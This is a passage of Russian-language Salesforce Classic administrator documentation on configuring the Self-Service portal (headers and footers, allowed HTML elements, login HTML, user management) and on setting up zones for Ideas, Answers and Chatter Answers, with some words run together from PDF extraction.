или «Нижний колонтитул страницы» в списке «Разделы страницы портала».

3. Чтобы включить отображение верхнего или нижнего колонтитула на страницах
портала, установите флажок «Показать верхний колонтитул» или «Показать
нижний колонтитул».

4. Чтобы добавить линию, разделяющую верхний или нижний колонтитул и текст
страницы, установитефлажок «Показать разделитель верхнего колонтитула» или
«Показать разделитель нижнего колонтитула».

5. Пи необходимости введите сообщение страницы и воспользуйтесь панелью
форматирования для его форматирования.

Чтобы просмотреть и изменить сообщение страницы в виде HTML-кода, установите
флажок «Показать HTML».JavaScript неможетбытьсохраненкакчастьнастраиваемого
кода, а система позволяет использовать только определенные HTML-элементы и
атрибуты.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка страниц портала самообслуживания

Настройка таблицы стилей портала самообслуживания

Атрибуты страниц портала самообслуживания
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Поддерживаемые HTML-элементы и атрибуты для настройки портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем использовать HTML для настройки сообщения на страницах портала
самообслуживания.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Пользователи могут настраивать любые страницы портала самообслуживания, а также
их верхние и нижние колонтитулы, путем добавления сообщения. Ниже перечислены
HTML-элементы и атрибуты, доступные для использования в сообщении.

Поддерживаемые элементы

• a

• abbr

• acronym

• address

• area

• b

• basefont

• bdo

• big

• blockquote

• body

• br

• button

• caption

• center

• cite

• code

• col

• colgroup

• dd

• del

• dfn

• dir

• div

• dl

• dt

• em

• fieldset

• font
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• form

• h1

• h2

• h3

• h4

• h5

• h6

• head

• hr

• html

• i

• img

• input

• ins

• kbd

• label

• legend

• li

• link

• map

• menu

• meta

• ol

• optgroup

• option

• p

• pre

• q

• s

• samp

• select

• small

• span

• strike

• strong

• style

• sub

• sup

• table

• tbody
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• td

• textarea

• tfoot

• th

• thead

• title

• tr

• tt

• u

• ul

• var

• xmp

Поддерживаемые атрибуты

• abbr

• accept

• accept-charset

• accesskey

• action

• align

• alink

• alt

• axis

• background

• bgcolor

• border

• cellpadding

• cellspacing

• char

• charoff

• charset

• checked

• cite

• class

• classid

• clear

• code

• codebase

• codetype

• color
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• cols

• colspan

• compact

• content

• coords

• data

• datetime

• declare

• defer

• dir

• disabled

• enctype

• face

• frameborder

• headers

• height

• href

• hreflang

• hspace

• http-equiv

• id

• ismap

• label

• lang

• language

• link

• longdesc

• marginheight

• marginwidth

• maxlength

• media

• method

• multiple

• name

• nohref

• noresize

• noshade

• nowrap

• readonly

• rel
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• rev

• rows

• rowspan

• rules

• scheme

• scope

• scrolling

• selected

• shape

• size

• span

• src

• standby

• start

• style

• summary

• tabindex

• target

• text

• title

• usemap

• valign

• value

• valuetype

• version

• vlink

• vspace

• width

СМ. ТАКЖЕ:

Настройка начальной страницы портала самообслуживания

Настройка страницы регистрации обращения портала самообслуживания

Настройка страницы входа портала самообслуживания

Создание настраиваемых разделов верхнего и нижнего колонтитулов страницы
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Атрибуты страниц портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки портала
самообслуживания:
• «Управление порталом

самообслуживания»

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Ниже перечислены атрибуты страниц портала самообслуживания, которые могут быть
изменены посредством интерактивного редактора.

ОписаниеАтрибут страницы

Цвет текста.Цвет

Атрибут жирного шрифта. Например,
отображениетекстажирнымилиобычным
шрифтом.

Жирный шрифт

Размер шрифта текста.Размер шрифта

Определенный стиль отображения букв.Шрифт

Список очередности имен семейства
шрифтовдля элемента. Веб-обозреватели
используют первое распознанное
значение шрифта.

Семейство шрифтов

Атрибутподчеркнутоготекста. Например,
отображение подчеркнутого или
обычного текста.

Подчеркивание

Цвет границы.Цвет границы

Стиль границы (например, точечная,
пунктирная или сплошная линия).

Стиль границы

Ширина границы.Ширина границы

Ширина нижней границы.Ширина нижней границы

Размер промежутка между границей и
элементом.

Отступ

Размер промежутка между верхней
границей и элементом.

Отступ сверху

Размер промежутка между правой
границей и элементом.

Отступ справа

Размерпромежуткамеждулевой границей
и элементом.

Отступ слева

Размер промежутка между нижней
границей и элементом.

Отступ снизу

Высота элемента.Высота

Высота строки.Высота строки
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ОписаниеАтрибут страницы

Цвет фона элемента.Цвет фона

Формат отображения фонового изображения. Например,
повтор изображения по горизонтали или по вертикали.

Повтор фона

Фоновое изображение элемента. Функция URL() должна
содержать относительный или абсолютный URL-адрес,

Фоновое изображение

соответствующий области хранения изображения.
Например, url(/sserv/img/tabBg_gray.gif).

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка страниц портала самообслуживания

Настройка таблицы стилей портала самообслуживания

Создание HTML входа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания HTML портала
самообслуживания:
• «Управление порталом

самообслуживания»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Чтобыпредоставитьпользователямвозможность входана включенныйинастроенный
портал самообслуживания, создайте соответствующий URL-адрес или HTML-код.

1. Введите строку «Портал самообслуживания» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Портал самообслуживания».

2. Нажмите кнопку «Создать HTML входа».

3. Вставьте созданный URL-адрес или HTML-код на веб-страницу портала.

4. Чтобы вернуться на страницу параметров портала самообслуживания, нажмите
кнопку «Готово».

Прим.: Чтобы выполнить одновременный вход в систему Salesforce и на портал
самообслуживания, воспользуйтесьразнымиобозревателями. Например, есливход
на портал самообслуживания выполняется посредством обозревателя, в котором
ужеоткрыта система Salesforce, то сеансработыссистемой Salesforce автоматически
завершается. Аналогичным образом, если вход в систему Salesforce выполняется
посредством обозревателя, в котором уже открыт портал самообслуживания, то
сеанс работы с порталом самообслуживания автоматически завершается.

СМ. ТАКЖЕ:

Настройка портала самообслуживания
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Использование вкладки «Порталы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки портала
самообслуживания:
• «Управление порталом

самообслуживания»

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Вкладка «Порталы» — это канал оперативной поддержки, позволяющий клиентам
порталасамообслуживаниярешатьвозникшиевопросыбезобращениякпредставителю
службы поддержки.

При выборе вкладки «Порталы» отображается начальная страница порталов. Ниже
перечислены действия, доступные на данной вкладке.

• Просмотрите начальную страницу портала самообслуживания клиентов.

• Просмотрите остальные страницы портала самообслуживания.

• Чтобы открыть отчет, щелкните имя нужного отчета в разделе «Отчеты».

• Для управления порталом самообслуживания и пользователями портала
самообслуживания выберите нужную ссылку в разделе «Инструменты».

Прим.: Вкладка «Порталы» не содержит клиентского портала.
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Управление пользователями портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
пользователями портала
самообслуживания:
• «Редактирование

пользователей портала
самообслуживания»

Для пакетного управления
пользователями портала
самообслуживания:
• «Управление порталом

самообслуживания»

И

«Редактирование
пользователей портала
самообслуживания»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Портал самообслуживания поддерживает централизованное управление и пакетное
изменение сведений о пользователях. Прежде чем разрешить клиентам использование
портала самообслуживания, рекомендуем предоставить каждому контакту доступ к
порталу самообслуживания. Доступ может быть предоставлен отдельному контакту (на
вкладке «Контакты») или группе контактов (на страницах настройки портала
самообслуживания).

• Чтобы включить отдельных пользователей портала самообслуживания на вкладке
«Контакты», выберите нужный контакт и нажмите кнопку «Включить
самообслуживание» на странице сведений о контакте.

• Чтобы включить группу пользователей портала самообслуживания, просмотрите
раздел «Пакетноевключениепользователейпорталасамообслуживания»настранице
2744.

• Чтобыизменить сведения о пользователе портала самообслуживания, просмотрите
раздел «Редактирование сведений о пользователе портала самообслуживания» на
странице 2745.

• Чтобы сбросить пароли пользователей портала самообслуживания, просмотрите
раздел «Сброспаролейпользователейпортала самообслуживания»настранице2746.

СМ. ТАКЖЕ:

Настройка портала самообслуживания
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Пакетное включение пользователей портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
пользователями портала
самообслуживания:
• «Редактирование

пользователей портала
самообслуживания»

Для пакетного управления
пользователями портала
самообслуживания:
• «Управление порталом

самообслуживания»

И

«Редактирование
пользователей портала
самообслуживания»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Портал самообслуживания поддерживает выполнение пакетных действий над
пользователями (например, одновременное включениепортала самообслуживаниядля
группы контактов). Пользователем портала самообслуживания может быть контакт,
имеющий адрес эл. почты и связанный с организацией.

Чтобы предоставить новым пользователям доступ к порталу самообслуживания,
выполните указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Нажмите кнопку «Включить новых пользователей».

3. Чтобы просмотреть список нужных контактов, введите критерии поиска и нажмите
кнопку «Поиск».

4. Выберите нужные контакты и нажмите кнопку «Далее».

5. Принеобходимостиизмените сведенияопользователепортала самообслуживания.

6. Чтобы включить контакт в качестве суперпользователя портала самообслуживания,
который может просматривать сведения об обращениях, добавлять комментарии и
загружать вложения для всех обращений, отправленных любым сотрудником
компании, установите флажок «Суперпользователь».

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Управление пользователями портала самообслуживания
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Редактирование сведений о пользователе портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
пользователями портала
самообслуживания:
• «Редактирование

пользователей портала
самообслуживания»

Для пакетного управления
пользователями портала
самообслуживания:
• «Управление порталом

самообслуживания»

И

«Редактирование
пользователей портала
самообслуживания»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Чтобы обновить сведения о пользователях портала самообслуживания, выполните
указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Выберите нужных пользователей.

3. Нажмите кнопку «Редактировать пользователей».

4. Внесите необходимые изменения в записи.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Управление пользователями портала самообслуживания
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Сброс паролей пользователей портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
пользователями портала
самообслуживания:
• «Редактирование

пользователей портала
самообслуживания»

Для пакетного управления
пользователями портала
самообслуживания:
• «Управление порталом

самообслуживания»

И

«Редактирование
пользователей портала
самообслуживания»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Новый пароль пользователя портала самообслуживания может быть отправлен по эл.
почте. Чтобысброситьпаролипользователейнапорталесамообслуживания, выполните
указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Выберите нужных пользователей.

3. Нажмите кнопку «Сбросить пароли».

4. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Управление пользователями портала самообслуживания
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Зоны для сообществ и клиентских порталов Salesforce

Использование зон для систематизации сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Зоны идей доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Зоны ответов доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Зоны Chatter Answers
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования зоны:
• «Настройка

приложения»

Прим.: Начинаясвыпуска Summer'13 сообществаChatter Answersи «Идеи» заменены
зонами.

Зоны помогают объединять идеи и вопросы в логические группы; каждая зона имеет
собственное направление, уникальные идеи и вопросы. Зоны используются
приложениями «Идеи», «Ответы» и Chatter Answers, каждое из которых позволяет
просматривать и создавать зоны. Версия Professional Edition позволяет использовать
толькооднувнутреннююзону. Всеостальныеверсиипозволяютиспользоватьнеболее
50 зон, связанных с идеями, ответами и Chatter Answers.

Прим.: Чтобы создать дополнительные зоны, обратитесь в компанию Salesforce.

Ниже перечислены типы пользователей, которым доступны зоны.

• Пользователи сообществ Salesforce.

• Общедоступные пользователи (требуется настройка сайта Force.com).

• ВнутренниепользователиSalesforce. ПользователямSalesforceпредоставляетсядоступ
ко всем зонам (как внутренние, так и доступные на портале).

• Пользователи клиентского или партнерского портала.

• Пользователи консоли Salesforce.

Прим.: ПравилаобщегодоступаSalesforceнемогутиспользоватьсядляограничения
доступа к зонам. Чтобыограничитьдоступ, выберитенужныйпорталприсоздании
зоны. Данная зона будет доступна только пользователям, которые назначены
соответствующему порталу (и внутренним пользователям Salesforce) до ее
публикации посредством сайтов Force.com.

Пользователи могут просматривать зоны, результаты поиска и содержимое, связанное
с контекстом, который определен профилем пользователя.

• Пользователи сообщества могут просматривать зоны, связанные с текущим
сообществом.

• Внутренние пользователи с полномочием на просмотр идей могут просматривать
все зоныорганизации, доступные толькодля внутреннегопользования. Внутренние
пользователи, выполнившие вход в сообщество, могут просматривать только зоны,
связанные с соответствующим сообществом.

• Внутренние пользователи с полномочием на просмотр Chatter Answers могут просматривать все зоны организации,
доступныетолькодлявнутреннегопользования, навкладке «Вопросиответ». Внутренниепользователи, выполнившие
вход в сообщество, могут просматривать только зоны, связанные с соответствующим сообществом.

• Пользователи портала могут просматривать зоны, связанные с их порталом.

• Пользователи портала, имеющие доступ к порталу и сообществу, могут просматривать зоны, связанные с порталом
или текущим сообществом.

• Пользователи, открывающие портал или сообщество посредством API, могут просматривать все доступные зоны во
всех контекстах.
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• Глобальные поиски во внутреннем приложении, выполняемые внутренними пользователями, возвращают все идеи,
доступные внутри организации. Поиски, выполняемые всеми другими пользователями в сообществах Salesforce,
возвращают идеи, доступные внутри сообщества.

СМ. ТАКЖЕ:

Создание и редактирование зон

Создание и редактирование зон

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Зоны идей доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Зоны ответов доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Зоны Chatter Answers
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования зоны:
• «Настройка

приложения»

Зоныиспользуютсяприложениями «Идеи», «Ответы» иChatter Answers, каждоеизкоторых
позволяетпросматриватьи создавать зоны.Вкладка «Ответы» позволяетпросматривать
только одну зону. Поддерживаемые версии позволяют работать максимум с 50 зонами
для одной организации.

Чтобы создать зону или изменить сведения о текущей зоне, выполните указанные ниже
действия.

1. Введите строку «Зоны» в поле «Быстрый поиск» в меню «Настройка» и выберите
пункт «Зоны» на вкладке «Ответы», «Зоны идей» или «Зоны ответов Chatter».

2. Чтобы изменить зону, щелкните ссылку «Правка». Чтобы создать зону, нажмите
кнопку «Создать».

3. Введите уникальное имя зоны, которое точно определяет ее цель.

4. Принеобходимости введите описание в виде обычного текста. HTML и другие языки
разметки не поддерживаются.

5. Чтобы предоставить участникам сообщества доступ к зоне, установите флажок
«Активно».

Зоны не могут быть удалены. Чтобы скрыть зону, снимите флажок «Активно». Все
активные зоныавтоматическидобавляютсяна вкладку «Идеи», однакоответамможет
быть назначено только одна активная зона.

6. Чтобы определить способ отображения имен пользователей в опубликованных
вопросахиответахвнутризоны, настройтепараметр «Формат имени пользователя».
Chatter Answers использует поле «Формат имени пользователя» только для вопросов
и ответов. Идеи используют поле «Прозвище» для имен пользователей внутри
сообщества взамен поля «Формат имени пользователя» внутри зоны.

Прим.: При использовании Chatter Answers личные имена указываются для
пользователей в поле «Группа агентов службы поддержки», даже в том случае,
если параметр «Формат имени пользователя» для зоны содержит значение
«Прозвище».

7. Выберите область отображения данной зоны.

• «Сообщество»: позволяет выбирать сообщество, которое должно отображать
зону. Чтобы разрешить пользователям-гостям просмотр действий внутри зоны посредством сообщества без
выполнения входа, установите флажок «Доступно без проверки подлинности» (только для Chatter Answers).

• «Только для внутреннего пользования»: позволяетотображатьзонутольковнутреннимпользователям. Участники
портала и сообществ Salesforce не могут просматривать внутренние зоны.

• «Портал»: позволяет выбирать портал из списка текущих порталов.
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Чтобы предоставить общий доступ к зоне, рекомендуем выбрать клиентский портал, который должен быть
общедоступным посредством сайтов Force.com. Chatter Answers поддерживается сайтами Force.com. Ответы не
поддерживаются сайтами Force.com.

Прим.: Переназначениезоныдругомусообществуинициируетпереноссвязанныхэлементоввновоесообщество.
Пользователи, выполнившие вход в исходное сообщество, не могут просматривать элементы, перенесенные в
новое сообщество, включая элементыраздела «Недавние элементы» набоковойпанели. Возврат зонывисходное
сообщество инициирует восстановление возможности просмотра данных элементов.

8. Чтобы настроить зоны для Chatter Answers, выполните указанные ниже действия.

a. Чтобы связать зону с Chatter Answers, установите флажок «Включить поддержку Chatter Answers».

b. Чтобы разрешить клиентам отправку личных вопросов в службу поддержки (создание обращений), установите
флажок «Включить личные вопросы». Если данныйфлажок не установлен, то личное общение с клиентами
может быть инициировано агентами службы поддержки.

c. Щелкните значок ивыберите страницуVisualforce, которая должнаиспользоватьсядляотображения вопросов,
ответов и статей базы знаний, в поле «Страница Visualforce для размещения лент зоны».

Выбранная страница должна содержать компонент chatteranswers:allfeeds или набор следующих
компонентов: chatteranswers:aboutme, chatteranswers:guestsignin,
chatteranswers:feedfilter, chatteranswers:feeds, chatteranswers:searchask,
chatteranswers:datacategoryfilter, гарантирующих правильное связывание зоны с сайтом Force.com.
Если страница Visualforce не выбрана, то она автоматически создается при сохранении зоны. Созданная страница
содержит код зоны, позволяющий связывать и отображать темы, вопросы и ответы в определенной зоне. Имя
страницысоответствуетименизоныисодержитиндекс «_main» (например, ИмяЗоны_main). Крометого, страница
содержит атрибут языка, который соответствует стандартному языку организации.

Чтобы удалить все ссылки входа из зоны, воспользуйтесь логическим атрибутом NoSignIn в компоненте
chatteranswers:allfeeds, chatteranswers:aboutme, chatteranswers:feeds или
chatteranswers:searchask. Рекомендуем использовать данный атрибут только при наличии внешнего
путивхода, которымдолжныпользоваться участникивместо стандартноговхода Chatter Answers. Еслилогическому
атрибуту NoSignIn задано значение true, то участники зоны могут просматривать и выполнять поиск по
общедоступному содержимому. Если текущий сеанс уже является действительным, то они могут публиковать
вопросы и ответы, а также участвовать в голосовании и помечать нужное содержимое.

d. Щелкните значок и выберите сайт Force.com, который должен использоваться для размещения зоны, в поле
«Сайт для размещения зоны».

• При связывании зоны с порталом введите домен сайта Force.com.

• При связывании зоны с сообществом Salesforce, которое позволяет пользователям просматривать действия
зоны без проверки подлинности, домен сайта Force.com вводится автоматически.

e. При необходимости настройте URL-адрес, добавляемый в электронные уведомления, которые отправляются из
зоны, в поле «URL-адрес электронного уведомления».

URL-адрес электронного уведомления создается автоматически в соответствии с параметрами доступности зоны,
но при необходимостиможет быть изменен. Введите URL-адрес настраиваемой страницы входа (при ее наличии).
Например, поле «URL-адрес электронного уведомления» позволяетпереадресовыватьполучателейэлектронных
уведомлений на страницу входа, поддерживающую доступ сразу в несколько зон.

Прим.: Приналичии текущего URL-адреса для электронных уведомлений внутренней зоныипоследующем
добавлении настраиваемого домена посредством функции «Мой домен» поле «URL-адрес электронного
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уведомления» должно быть обновлено вручную. Чтобы обновить URL-адрес, удалите текущий URL-адрес из
поля. При сохранении страницы система заполняет поле новым URL-адресом функции «Мой домен».

f. Выберитеобщедоступнуюгруппупользователей, которыедолжнывыступатьвкачестве агентовслужбыподдержки
для зоны, вполе «Группа агентов службы поддержки». Напротивименданныхпользователейв зонеотображается
значок наушников.

g. Чтобы выбрать текстовый или HTML-файл для внедренияфирменного стиля организации в верхние или нижние
колонтитулыэлектронныхуведомлений, отправляемыхиззоны, щелкнитезначок вполе «Верхний колонтитул»
или «Нижний колонтитул».

Файл должен быть загружен в общедоступную папку на вкладке «Документы» и помечен флажком «Доступен
внешне как изображение». Общий размер файлов, выбранных в полях, не должен превышать 10 Кб.

h. Выберите категории данных, которые должны быть доступны в зоне, из списка предопределенных категорий
данных.

9. Чтобынастроитьзоныдлясообщества «Идеи», воспользуйтесьполем «Группа экспертов» длявыбораобщедоступной
группы экспертов, которые должны отслеживать зону для сообщества «Идеи».

10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Выбор значений раскрывающегося списка и значений по умолчанию для зоны

Включение сообщества «Идеи» на клиентском портале

Обозначение экспертов сообщества

Сообщества ответов

Настройка ответов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
ответов:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Чтобы настроить ответы, выполните указанные ниже действия.

1. Включите функцию «Ответы» и настройте стандартную зону.

2. Создайте группу категорий для ответов и добавьте категории данных в группу
категорий.

Прим.: Группа категорийпозволяет создавать допятииерархических уровней
категорий, но сообщество ответов поддерживает только первый уровень
категорий. Дочерние категории, расположенные ниже первого уровня, не
отображаются в сообществе, поэтому не могут быть назначены вопросам.
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3. Назначьте категории данных сообществу ответов.

4. Чтобыопределить способограничениядоступа к категориямикатегоризированнымвопросамв сообществеответов,
просмотрите параметры доступности группы категорий.

5. При использовании ролей, наборов полномочий или профилей:

a. Настройте доступность группы категорий данных.

b. При необходимости выберите уровень доступности группы категорий по умолчанию для соответствующих
пользователей посредством ролей, наборов полномочий или профилей.

6. Чтобыразрешить участникамсообщества, работающимсобращениями, расширятьнерешенныеилисомнительные
вопросы до новых обращений, выполните указанные ниже действия.

a. Откройте страницу «Макеты страниц» посредствомпараметров управленияобращениями. Затемотредактируйте
макеты страниц обращения так, чтобы в них включалось поле «Вопрос».

b. Откройте страницу «Поля» посредствомпараметров управленияобращениями. Затемубедитесь, чтобезопасность
уровня поля для поля «Вопрос» делает поле видимым в нужных профилях.

Параметр «Расширить до обращения» отображается только тем участникам сообщества, которым предоставлено
полномочие на создание обращений.

7. Если в организации включена поддержка Salesforce Knowledge, то при необходимости полезные ответы могут быть
преобразованы в статьи базы знаний. В разделе «Настройка» введите «Параметры базы знаний» в поле «Быстрый
поиск», затемвыберите «Параметрыбазызнаний»иубедитесь, чтопараметр «Разрешить пользователям создавать
статью на основе ответа» отмечен флажком.

8. Чтобыпредотвратитьиспользованиеоскорбительнойлексики, создайтеправилапроверки, блокирующиепубликацию
несоответствующих вопросов и ответов в сообществе ответов.

Чтобы создать правила проверки, в разделе параметров управления объектами для ответа на вопрос Ответы Chatter
и Вопросы Chatter перейдите в раздел «Правила проверки».

9. При необходимости создайте бизнес-правила для вопросов. Например, рекомендуем создать бизнес-правило,
уведомляющее администратора сообщества о наличии 10 и более ответов, но отсутствии лучшего ответа. Вопросы
не поддерживают процессы утверждения и задачи бизнес-правил.

10. При необходимости создайте отчеты для сообщества ответов.

11. При необходимости включите поддержку ответов на клиентском или партнерском портале.

Совет: Настраиваемые поля, создаваемые для вопросов или ответов, не могут отображаться в пользовательском
интерфейсе Salesforce.Настраиваемые поля могут быть добавлены в вопросы или ответы только для интеграции
API. Например, добавьтенастраиваемое текстовоеполе в вопросыииспользуйтеAPIдля заполнения этого текстового
поля названием страны-источника каждого опубликованного вопроса.

СМ. ТАКЖЕ:

Создание и редактирование зон

Настройка ответов
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Включение функции «Ответы» и назначение стандартной зоны

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
ответов:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Ответы — это функция приложения «Сообщество», которая позволяет пользователям
задавать вопросы и получать на них ответы. Участники сообщества могут определять
степень полезности любого ответа путем голосования, а автор вопроса может выбрать
лучший ответ.

Чтобы включить функцию «Ответы», выполните указанные ниже действия.

1. Введите строку «Параметры ответов» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры ответов».

2. Нажмите кнопку «Правка».

3. Чтобы включить ответы, установите флажок «Включить ответы».

Данное действие добавляет вкладку «Ответы» в приложение «Сообщество» и создает зону «Внутренняя зона».

4. Выберите стандартную зону для вкладки «Ответы». Разрешается просматривать только одну зону ответов. Чтобы
выбрать зону по умолчанию, воспользуйтесь зоной «Внутренняя зона» или создайте собственную зону.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание и редактирование зон
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Назначение категорий данных для ответов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
ответов:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Группакатегорий в зонеответовсодержиткакминимумоднукатегорию, обеспечивающую
удобный просмотр вопросов. Если группа категорий содержит иерархию, то вкладка
«Ответы» отображает только категории первого уровня. Например,
компания-производитель компьютеров может создать группу категорий «Продукты»
для зоны «Продукты». Данная группаможет содержатьчетырекатегории: «Портативные
компьютеры», «Производительные портативные компьютеры», «Настольные игровые
компьютеры» и «Настольные рабочие компьютеры». Участники зоны могут назначить
вопросу любую из доступных категорий.

Ниже приведен пример, определяющий способ отображения категорий группы на
вкладке «Ответы».

Отображение категорий на вкладке «Ответы»

1. Зона, назначенная ответам.

2. При назначении группы категорий ответам категории данных отображаются под именем зоны на вкладке «Ответы».
Данные категории могут быть назначены вопросам или просмотрены на наличие связанных вопросов.Имя группы
категорий не отображается в сообществе ответов.

Имя группы категорий не отображается в сообществе ответов. Тем не менее, все категории группы отображаются под
именем зоны на вкладке «Ответы».

Чтобы назначить группу категорий ответам, выполните указанные ниже действия.
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1. Создайте группу категорий для ответов и добавьте категории данных в группу категорий.

Рекомендуемиспользоватьодинаковыеименадля группкатегорийисообществответов. Данныйспособнаименования
позволяетдругимадминистраторамбыстроопределятьсообщества, содержащиесоответствующиегруппыкатегорий.

Прим.: Группакатегорийпозволяет создаватьдопятииерархическихуровнейкатегорий, носообществоответов
поддерживает только первый уровень категорий. Дочерние категории, расположенные ниже первого уровня,
не отображаются в сообществе, поэтому не могут быть назначены вопросам.

2. Введитестроку «Назначения категорий данных» вполе «Быстрый поиск» ивыберитепункт«Назначенияисточников
